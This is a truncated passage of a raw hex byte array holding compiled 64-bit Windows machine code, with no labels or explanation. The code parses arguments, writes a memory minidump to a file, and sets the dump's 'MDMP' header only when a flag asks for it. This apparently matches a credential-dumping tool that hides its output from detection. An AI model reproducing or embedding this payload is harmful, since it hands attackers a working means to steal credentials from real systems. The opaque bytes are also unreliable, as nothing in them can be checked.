48,0x8B,0x85,0xA8,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x15,0x86,0x44,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD4,0xBA,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x0F,0xC7,0x85,0xB0,0x03,0x00,0x00,0x01,0x00,0x00,0x00,0xE9,0x84,0x02,0x00,0x00,0x8B,0x85,0xA4,0x03,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xA8,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x15,0x53,0x44,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x91,0xBA,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x74,0x38,0x8B,0x85,0xA4,0x03,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xA8,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x15,0x25,0x44,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x5D,0xBA,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x0F,0x85,0x84,0x00,0x00,0x00,0x8B,0x85,0xA4,0x03,0x00,0x00,0x8D,0x50,0x01,0x8B,0x45,0x1C,0x39,0xC2,0x7C,0x23,0x48,0x8D,0x05,0x0A,0x44,0x00,0x00,0x48,0x89,0xC1,0xE8,0x24,0x6E,0xFF,0xFF,0x48,0x8D,0x05,0x11,0x44,0x00,0x00,0x48,0x89,0xC1,0xE8,0x15,0x6E,0xFF,0xFF,0xE9,0xA0,0x04,0x00,0x00,0x83,0x85,0xA4,0x03,0x00,0x00,0x01,0x8B,0x85,0xA4,0x03,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xA8,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x10,0x48,0x8D,0x85,0x40,0x02,0x00,0x00,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB7,0x17,0x00,0x00,0x48,0x8D,0x95,0x40,0x02,0x00,0x00,0x48,0x8D,0x45,0x20,0x48,0x89,0xC1,0xE8,0xAF,0x79,0xFF,0xFF,0xE9,0x94,0x01,0x00,0x00,0x8B,0x85,0xA4,0x03,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xA8,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x15,0x91,0x43,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xA1,0xB9,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x74,0x34,0x8B,0x85,0xA4,0x03,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xA8,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x15,0x63,0x43,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x6D,0xB9,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x75,0x8B,0x85,0xA4,0x03,0x00,0x00,0x8D,0x50,0x01,0x8B,0x45,0x1C,0x39,0xC2,0x7C,0x23,0x48,0x8D,0x05,0x48,0x43,0x00,0x00,0x48,0x89,0xC1,0xE8,0x38,0x6D,0xFF,0xFF,0x48,0x8D,0x05,0x25,0x43,0x00,0x00,0x48,0x89,0xC1,0xE8,0x29,0x6D,0xFF,0xFF,0xE9,0xB4,0x03,0x00,0x00,0x83,0x85,0xA4,0x03,0x00,0x00,0x01,0x8B,0x85,0xA4,0x03,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xA8,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x41,0xB8,0x0A,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD5,0x16,0x00,0x00,0x89,0x85,0xB8,0x03,0x00,0x00,0xE9,0xB7,0x00,0x00,0x00,0x8B,0x85,0xA4,0x03,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xA8,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x15,0xDA,0x42,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC4,0xB8,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x74,0x34,0x8B,0x85,0xA4,0x03,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xA8,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x8D,0x15,0xAC,0x42,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x90,0xB8,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x0C,0xC7,0x85,0xB4,0x03,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x43,0x8B,0x85,0xA4,0x03,0x00,0x00,0x48,0x98,0x48,0x8D,0x14,0xC5,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xA8,0x03,0x00,0x00,0x48,0x01,0xD0,0x48,0x8B,0x00,0x48,0x89,0xC2,0x48,0x8D,0x05,0x81,0x42,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3F,0x6C,0xFF,0xFF,0x48,0x8D,0x05,0x2C,0x42,0x00,0x00,0x48,0x89,0xC1,0xE8,0x30,0x6C,0xFF,0xFF,0xE9,0xBB,0x02,0x00,0x00,0x83,0x85,0xA4,0x03,0x00,0x00,0x01,0x8B,0x45,0x1C,0x39,0x85,0xA4,0x03,0x00,0x00,0x0F,0x8C,0xEF,0xFC,0xFF,0xFF,0x48,0x8B,0x85,0xA8,0x03,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x9C,0xB7,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x85,0xA8,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x0F,0xB7,0x45,0x20,0x66,0x85,0xC0,0x0F,0x84,0x64,0x02,0x00,0x00,0xE8,0x37,0xDE,0xFF,0xFF,0x89,0x85,0xA0,0x03,0x00,0x00,0x83,0xBD,0xA0,0x03,0x00,0x00,0x00,0x0F,0x84,0x4F,0x02,0x00,0x00,0x83,0xBD,0xB8,0x03,0x00,0x00,0x00,0x75,0x18,0xE8,0x06,0x89,0xFF,0xFF,0x89,0x85,0xB8,0x03,0x00,0x00,0x83,0xBD,0xB8,0x03,0x00,0x00,0x00,0x0F,0x84,0x31,0x02,0x00,0x00,0x0F,0xB7,0x45,0x20,0x66,0x85,0xC0,0x75,0x23,0x48,0x8D,0x05,0xF1,0x41,0x00,0x00,0x48,0x89,0xC1,0xE8,0x99,0x6B,0xFF,0xFF,0x48,0x8D,0x05,0x86,0x41,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8A,0x6B,0xFF,0xFF,0xE9,0x15,0x02,0x00,0x00,0x48,0x8D,0x45,0x20,0x48,0x89,0xC1,0xE8,0x9D,0x7A,0xFF,0xFF,0x85,0xC0,0x0F,0x84,0xF4,0x01,0x00,0x00,0x44,0x8B,0x85,0xB4,0x03,0x00,0x00,0x8B,0x95,0xB8,0x03,0x00,0x00,0x48,0x8D,0x85,0x58,0x03,0x00,0x00,0xC7,0x84,0x24,0x88,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x84,0x24,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x78,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x70,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x68,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x60,0x00,0x00,0x00,0x00,0x48,0x8D,0x8D,0x40,0x02,0x00,0x00,0x48,0x89,0x4C,0x24,0x58,0x8B,0x8D,0xB0,0x03,0x00,0x00,0x89,0x4C,0x24,0x50,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x38,0x99,0xFF,0xFF,0x89,0x85,0xA0,0x03,0x00,0x00,0x83,0xBD,0xA0,0x03,0x00,0x00,0x00,0x0F,0x84,0x43,0x01,0x00,0x00,0x83,0xBD,0xB0,0x03,0x00,0x00,0x00,0x74,0x1E,0xC7,0x85,0x80,0x03,0x00,0x00,0x4D,0x44,0x4D,0x50,0x66,0xC7,0x85,0x84,0x03,0x00,0x00,0x93,0xA7,0x66,0xC7,0x85,0x86,0x03,0x00,0x00,0x00,0x00,0xEB,0x2C,0x48,0x8D,0x85,0x60,0x03,0x00,0x00,0x48,0x8D,0x48,0x26,0x48,0x8D,0x85,0x60,0x03,0x00,0x00,0x48,0x8D,0x50,0x24,0x48,0x8D,0x85,0x60,0x03,0x00,0x00,0x48,0x83,0xC0,0x20,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x09,0x81,0xFF,0xFF,0x48,0xC7,0x85,0x50,0x03,0x00,0x00,0x00,0x00,0x80,0x0C,0x48,0x8D,0x85,0x50,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0x17,0x80,0xFF,0xFF,0x48,0x89,0x85,0x98,0x03,0x00,0x00,0x48,0x83,0xBD,0x98,0x03,0x00,0x00,0x00,0x0F,0x84,0xC4,0x00,0x00,0x00,0x48,0x8B,0x85,0x58,0x03,0x00,0x00,0x48,0x89,0x85,0x60,0x03,0x00,0x00,0x48,0x8B,0x85,0x98,0x03,0x00,0x00,0x48,0x89,0x85,0x68,0x03,0x00,0x00,0xC7,0x85,0x70,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x50,0x03,0x00,0x00,0x48,0x89,0x85,0x78,0x03,0x00,0x00,0x48,0x8D,0x85,0x60,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0x01,0xF8,0xFF,0xFF,0x89,0x85,0xA0,0x03,0x00,0x00,0x83,0xBD,0xA0,0x03,0x00,0x00,0x00,0x74,0x75,0x83,0xBD,0xB0,0x03,0x00,0x00,0x00,0x75,0x17,0x8B,0x85,0x70,0x03,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0x68,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0xEE,0x7F,0xFF,0xFF,0x8B,0x8D,0x70,0x03,0x00,0x00,0x48,0x8B,0x95,0x68,0x03,0x00,0x00,0x48,0x8D,0x45,0x20,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xDC,0x76,0xFF,0xFF,0x89,0x85,0xA0,0x03,0x00,0x00,0x83,0xBD,0xA0,0x03,0x00,0x00,0x00,0x74,0x2D,0xC7,0x85,0xBC,0x03,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x22,0x90,0xEB,0x1F,0x90,0xEB,0x1C,0x90,0xEB,0x19,0x90,0xEB,0x16,0x90,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0xBD,0xA8,0x03,0x00,0x00,0x00,0x74,0x13,0x48,0x8B,0x85,0xA8,0x03,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xED,0xB4,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x85,0x68,0x03,0x00,0x00,0x48,0x85,0xC0,0x74,0x22,0x48,0x8B,0x85,0x78,0x03,0x00,0x00,0x48,0x85,0xC0,0x74,0x16,0x48,0x8B,0x95,0x78,0x03,0x00,0x00,0x48,0x8B,0x85,0x68,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0x59,0x7F,0xFF,0xFF,0x48,0x8B,0x85,0x58,0x03,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x58,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0x20,0xC9,0xFF,0xFF,0x83,0xBD,0xBC,0x03,0x00,0x00,0x00,0x75,0x0F,0x48,0x8D,0x85,0x40,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x45,0x79,0xFF,0xFF,0x8B,0x85,0xBC,0x03,0x00,0x00,0x48,0x81,0xC4,0x48,0x04,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x83,0x7D,0x18,0x03,0x74,0x25,0x83,0x7D,0x18,0x03,0x77,0x26,0x83,0x7D,0x18,0x02,0x74,0x1C,0x83,0x7D,0x18,0x02,0x77,0x1A,0x83,0x7D,0x18,0x00,0x74,0x13,0x83,0x7D,0x18,0x01,0x75,0x0E,0xE8,0xA6,0xF7,0xFF,0xFF,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x90,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x8B,0x05,0x81,0x21,0x00,0x00,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x26,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x05,0x67,0x21,0x00,0x00,0x48,0x8D,0x50,0x08,0x48,0x8B,0x40,0x08,0x48,0x89,0x15,0x58,0x21,0x00,0x00,0x48,0x85,0xC0,0x75,0xE3,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x66,0x90,0x55,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x48,0x8B,0x15,0x7D,0x40,0x00,0x00,0x48,0x8B,0x02,0x89,0xC1,0x83,0xF8,0xFF,0x74,0x43,0x85,0xC9,0x74,0x22,0x89,0xC8,0x83,0xE9,0x01,0x48,0x8D,0x1C,0xC2,0x48,0x29,0xC8,0x48,0x8D,0x74,0xC2,0xF8,0x66,0x0F,0x1F,0x44,0x00,0x00,0xFF,0x13,0x48,0x83,0xEB,0x08,0x48,0x39,0xF3,0x75,0xF5,0x48,0x8D,0x0D,0x66,0xFF,0xFF,0xFF,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xE9,0x3A,0x34,0xFF,0xFF,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x31,0xC0,0x66,0x0F,0x1F,0x44,0x00,0x00,0x44,0x8D,0x40,0x01,0x89,0xC1,0x4A,0x83,0x3C,0xC2,0x00,0x4C,0x89,0xC0,0x75,0xF0,0xEB,0xA3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x8B,0x05,0x4A,0x93,0x00,0x00,0x85,0xC0,0x74,0x06,0xC3,0x0F,0x1F,0x44,0x00,0x00,0xC7,0x05,0x36,0x93,0x00,0x00,0x01,0x00,0x00,0x00,0xE9,0x61,0xFF,0xFF,0xFF,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x83,0xFA,0x03,0x74,0x13,0x85,0xD2,0x74,0x0F,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x0F,0x1F,0x40,0x00,0xE8,0x8B,0x07,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x48,0x8B,0x05,0x9D,0x3F,0x00,0x00,0x83,0x38,0x02,0x74,0x06,0xC7,0x00,0x02,0x00,0x00,0x00,0x83,0xFA,0x02,0x74,0x15,0x83,0xFA,0x01,0x74,0x48,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0x0F,0x1F,0x00,0x48,0x8D,0x1D,0x71,0xC0,0x00,0x00,0x48,0x8D,0x35,0x6A,0xC0,0x00,0x00,0x48,0x39,0xF3,0x74,0xDD,0x0F,0x1F,0x44,0x00,0x00,0x48,0x8B,0x03,0x48,0x85,0xC0,0x74,0x02,0xFF,0xD0,0x48,0x83,0xC3,0x08,0x48,0x39,0xF3,0x75,0xED,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0xE8,0x0B,0x07,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x0F,0x1F,0x00,0x31,0xC0,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x56,0x53,0x48,0x83,0xEC,0x30,0x48,0x8D,0x6C,0x24,0x30,0x48,0x89,0xCB,0x48,0x8D,0x45,0x28,0xB9,0x02,0x00,0x00,0x00,0x48,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0x4C,0x89,0x4D,0x38,0x48,0x89,0x45,0xF8,0xE8,0xA3,0x0D,0x00,0x00,0x41,0xB8,0x1B,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x0D,0x41,0x3D,0x00,0x00,0x49,0x89,0xC1,0xE8,0x81,0x0F,0x00,0x00,0x48,0x8B,0x75,0xF8,0xB9,0x02,0x00,0x00,0x00,0xE8,0x7B,0x0D,0x00,0x00,0x48,0x89,0xDA,0x48,0x89,0xC1,0x49,0x89,0xF0,0xE8,0xCD,0x0F,0x00,0x00,0xE8,0x48,0x0F,0x00,0x00,0x90,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x55,0x57,0x56,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x63,0x35,0x20,0x92,0x00,0x00,0x48,0x89,0xCB,0x85,0xF6,0x0F,0x8E,0x11,0x01,0x00,0x00,0x48,0x8B,0x05,0x12,0x92,0x00,0x00,0x45,0x31,0xC9,0x48,0x83,0xC0,0x18,0x0F,0x1F,0x00,0x4C,0x8B,0x00,0x4C,0x39,0xC3,0x72,0x13,0x48,0x8B,0x50,0x08,0x8B,0x52,0x08,0x49,0x01,0xD0,0x4C,0x39,0xC3,0x0F,0x82,0x88,0x00,0x00,0x00,0x41,0x83,0xC1,0x01,0x48,0x83,0xC0,0x28,0x41,0x39,0xF1,0x75,0xD8,0x48,0x89,0xD9,0xE8,0x40,0x08,0x00,0x00,0x48,0x89,0xC7,0x48,0x85,0xC0,0x0F,0x84,0xE6,0x00,0x00,0x00,0x48,0x8B,0x05,0xC5,0x91,0x00,0x00,0x48,0x8D,0x1C,0xB6,0x48,0xC1,0xE3,0x03,0x48,0x01,0xD8,0x48,0x89,0x78,0x20,0xC7,0x00,0x00,0x00,0x00,0x00,0xE8,0x53,0x09,0x00,0x00,0x8B,0x57,0x0C,0x41,0xB8,0x30,0x00,0x00,0x00,0x48,0x8D,0x0C,0x10,0x48,0x8B,0x05,0x97,0x91,0x00,0x00,0x48,0x8D,0x55,0xD0,0x48,0x89,0x4C,0x18,0x18,0xFF,0x15,0x18,0xB1,0x00,0x00,0x48,0x85,0xC0,0x0F,0x84,0x7E,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8D,0x50,0xFC,0x83,0xE2,0xFB,0x74,0x08,0x8D,0x50,0xC0,0x83,0xE2,0xBF,0x75,0x14,0x83,0x05,0x61,0x91,0x00,0x00,0x01,0x48,0x83,0xC4,0x58,0x5B,0x5E,0x5F,0x5D,0xC3,0x0F,0x1F,0x40,0x00,0x83,0xF8,0x02,0x48,0x8B,0x4D,0xD0,0x48,0x8B,0x55,0xE8,0x41,0xB8,0x40,0x00,0x00,0x00,0xB8,0x04,0x00,0x00,0x00,0x44,0x0F,0x44,0xC0,0x48,0x03,0x1D,0x37,0x91,0x00,0x00,0x48,0x89,0x4B,0x08,0x49,0x89,0xD9,0x48,0x89,0x53,0x10,0xFF,0x15,0xAE,0xB0,0x00,0x00,0x85,0xC0,0x75,0xB6,0xFF,0x15,0x3C,0xB0,0x00,0x00,0x48,0x8D,0x0D,0x65,0x3C,0x00,0x00,0x89,0xC2,0xE8,0x66,0xFE,0xFF,0xFF,0x66,0x0F,0x1F,0x44,0x00,0x00,0x31,0xF6,0xE9,0x21,0xFF,0xFF,0xFF,0x48,0x8B,0x05,0xFA,0x90,0x00,0x00,0x8B,0x57,0x08,0x48,0x8D,0x0D,0x08,0x3C,0x00,0x00,0x4C,0x8B,0x44,0x18,0x18,0xE8,0x3E,0xFE,0xFF,0xFF,0x48,0x89,0xDA,0x48,0x8D,0x0D,0xD4,0x3B,0x00,0x00,0xE8,0x2F,0xFE,0xFF,0xFF,0x90,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x0F,0x1F,0x00,0x55,0x41,0x57,0x41,0x56,0x41,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x48,0x48,0x8D,0x6C,0x24,0x40,0x44,0x8B,0x25,0xA4,0x90,0x00,0x00,0x45,0x85,0xE4,0x74,0x17,0x48,0x8D,0x65,0x08,0x5B,0x5E,0x5F,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5D,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0xC7,0x05,0x7E,0x90,0x00,0x00,0x01,0x00,0x00,0x00,0xE8,0x69,0x07,0x00,0x00,0x48,0x98,0x48,0x8D,0x04,0x80,0x48,0x8D,0x04,0xC5,0x0F,0x00,0x00,0x00,0x48,0x83,0xE0,0xF0,0xE8,0xB2,0x09,0x00,0x00,0x4C,0x8B,0x2D,0xEB,0x3C,0x00,0x00,0x48,0x8B,0x1D,0xF4,0x3C,0x00,0x00,0xC7,0x05,0x4E,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x29,0xC4,0x48,0x8D,0x44,0x24,0x30,0x48,0x89,0x05,0x43,0x90,0x00,0x00,0x4C,0x89,0xE8,0x48,0x29,0xD8,0x48,0x83,0xF8,0x07,0x7E,0x90,0x8B,0x13,0x48,0x83,0xF8,0x0B,0x0F,0x8F,0x03,0x01,0x00,0x00,0x8B,0x03,0x85,0xC0,0x0F,0x85,0x69,0x02,0x00,0x00,0x8B,0x43,0x04,0x85,0xC0,0x0F,0x85,0x5E,0x02,0x00,0x00,0x8B,0x53,0x08,0x83,0xFA,0x01,0x0F,0x85,0x92,0x02,0x00,0x00,0x48,0x83,0xC3,0x0C,0x4C,0x39,0xEB,0x0F,0x83,0x56,0xFF,0xFF,0xFF,0x4C,0x8B,0x35,0xAE,0x3C,0x00,0x00,0x41,0xBF,0xFF,0xFF,0xFF,0xFF,0xEB,0x65,0x66,0x0F,0x1F,0x44,0x00,0x00,0x83,0xF9,0x08,0x0F,0x84,0xD7,0x00,0x00,0x00,0x83,0xF9,0x10,0x0F,0x85,0x50,0x02,0x00,0x00,0x0F,0xB7,0x37,0x81,0xE2,0xC0,0x00,0x00,0x00,0x66,0x85,0xF6,0x0F,0x89,0xCC,0x01,0x00,0x00,0x48,0x81,0xCE,0x00,0x00,0xFF,0xFF,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x75,0x12,0x48,0x81,0xFE,0x00,0x80,0xFF,0xFF,0x7C,0x65,0x48,0x81,0xFE,0xFF,0xFF,0x00,0x00,0x7F,0x5C,0x48,0x89,0xF9,0xE8,0x61,0xFD,0xFF,0xFF,0x66,0x89,0x37,0x48,0x83,0xC3,0x0C,0x4C,0x39,0xEB,0x0F,0x83,0xD1,0x00,0x00,0x00,0x8B,0x03,0x8B,0x53,0x08,0x8B,0x7B,0x04,0x4C,0x01,0xF0,0x0F,0xB6,0xCA,0x4C,0x8B,0x08,0x4C,0x01,0xF7,0x83,0xF9,0x20,0x0F,0x84,0x0C,0x01,0x00,0x00,0x76,0x82,0x83,0xF9,0x40,0x0F,0x85,0xDB,0x01,0x00,0x00,0x48,0x8B,0x37,0x89,0xD1,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x81,0xE1,0xC0,0x00,0x00,0x00,0x0F,0x85,0x42,0x01,0x00,0x00,0x48,0x85,0xF6,0x78,0xAF,0x48,0x89,0x74,0x24,0x20,0x89,0xCA,0x49,0x89,0xF8,0x48,0x8D,0x0D,0x14,0x3B,0x00,0x00,0xE8,0x87,0xFC,0xFF,0xFF,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x85,0xD2,0x0F,0x85,0x68,0x01,0x00,0x00,0x8B,0x43,0x04,0x89,0xC2,0x0B,0x53,0x08,0x0F,0x85,0xF4,0xFE,0xFF,0xFF,0x48,0x83,0xC3,0x0C,0xE9,0xDE,0xFE,0xFF,0xFF,0x90,0x0F,0xB6,0x37,0x81,0xE2,0xC0,0x00,0x00,0x00,0x40,0x84,0xF6,0x0F,0x89,0x26,0x01,0x00,0x00,0x48,0x81,0xCE,0x00,0xFF,0xFF,0xFF,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x75,0x0F,0x48,0x81,0xFE,0xFF,0x00,0x00,0x00,0x7F,0x97,0x48,0x83,0xFE,0x80,0x7C,0x91,0x48,0x89,0xF9,0x48,0x83,0xC3,0x0C,0xE8,0x92,0xFC,0xFF,0xFF,0x40,0x88,0x37,0x4C,0x39,0xEB,0x0F,0x82,0x35,0xFF,0xFF,0xFF,0x66,0x0F,0x1F,0x44,0x00,0x00,0x8B,0x15,0xAE,0x8E,0x00,0x00,0x85,0xD2,0x0F,0x8E,0x03,0xFE,0xFF,0xFF,0x48,0x8B,0x35,0x2B,0xAE,0x00,0x00,0x31,0xDB,0x48,0x8D,0x7D,0xFC,0x0F,0x1F,0x44,0x00,0x00,0x48,0x8B,0x05,0x91,0x8E,0x00,0x00,0x48,0x01,0xD8,0x44,0x8B,0x00,0x45,0x85,0xC0,0x74,0x0D,0x48,0x8B,0x50,0x10,0x48,0x8B,0x48,0x08,0x49,0x89,0xF9,0xFF,0xD6,0x41,0x83,0xC4,0x01,0x48,0x83,0xC3,0x28,0x44,0x3B,0x25,0x66,0x8E,0x00,0x00,0x7C,0xD0,0xE9,0xBC,0xFD,0xFF,0xFF,0x0F,0x1F,0x00,0x8B,0x37,0x81,0xE2,0xC0,0x00,0x00,0x00,0x85,0xF6,0x79,0x74,0x49,0xBB,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0x4C,0x09,0xDE,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x75,0x1C,0x4C,0x39,0xFE,0x0F,0x8F,0xEF,0xFE,0xFF,0xFF,0x48,0xB8,0xFF,0xFF,0xFF,0x7F,0xFF,0xFF,0xFF,0xFF,0x48,0x39,0xC6,0x0F,0x8E,0xDC,0xFE,0xFF,0xFF,0x48,0x89,0xF9,0xE8,0xE1,0xFB,0xFF,0xFF,0x89,0x37,0xE9,0x7C,0xFE,0xFF,0xFF,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x89,0xF9,0xE8,0xC8,0xFB,0xFF,0xFF,0x48,0x89,0x37,0xE9,0x62,0xFE,0xFF,0xFF,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x0F,0x84,0x37,0xFE,0xFF,0xFF,0xE9,0x44,0xFE,0xFF,0xFF,0x0F,0x1F,0x44,0x00,0x00,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x74,0x99,0xEB,0xB3,0x0F,0x1F,0x40,0x00,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x0F,0x84,0xDD,0xFE,0xFF,0xFF,0xE9,0xE7,0xFE,0xFF,0xFF,0x0F,0x1F,0x44,0x00,0x00,0x4C,0x39,0xEB,0x0F,0x83,0x08,0xFD,0xFF,0xFF,0x4C,0x8B,0x35,0x60,0x3A,0x00,0x00,0x8B,0x73,0x04,0x8B,0x3B,0x48,0x83,0xC3,0x08,0x4C,0x01,0xF6,0x03,0x3E,0x48,0x89,0xF1,0xE8,0x5